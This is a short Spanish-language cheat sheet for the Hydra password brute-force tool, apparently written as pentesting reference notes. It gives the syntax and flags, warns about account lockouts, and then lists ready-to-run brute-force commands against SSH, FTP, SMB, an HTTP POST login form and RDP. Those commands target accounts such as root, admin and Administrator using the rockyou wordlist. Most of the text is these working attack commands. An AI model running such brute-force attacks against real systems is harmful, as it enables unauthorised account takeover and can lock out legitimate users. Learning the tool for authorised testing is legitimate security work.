Hydra

Herramienta de fuerza bruta en línea (Online Password Cracking). Soporta multitud de protocolos (SSH, FTP, HTTP, SMB, etc).

Cuidado con los Bloqueos

Hydra es muy ruidoso y rápido. Puede bloquear cuentas o IPs si hay políticas de seguridad activas (Fail2Ban, Account Lockout).

Sintaxis General

hydra -l <USUARIO> -P <DICCIONARIO> <PROTOCOLO>://<IP>

• -l: Usuario único.
• -L: Lista de usuarios.
• -p: Contraseña única.
• -P: Lista de contraseñas.

📋 Cheatsheet de Servicios

SSH (Puerto 22)

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10 -t 4

FTP (Puerto 21)

hydra -l admin -P rockyou.txt ftp://192.168.1.10

SMB (Windows)

hydra -l Administrator -P rockyou.txt smb://192.168.1.10

HTTP Post Form (Login Web)

Requiere identificar los parámetros del formulario.

# Sintaxis: "Página:Parámetros:Mensaje de Error"
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Login Failed"

RDP (Escritorio Remoto)

hydra -l admin -P rockyou.txt rdp://192.168.1.10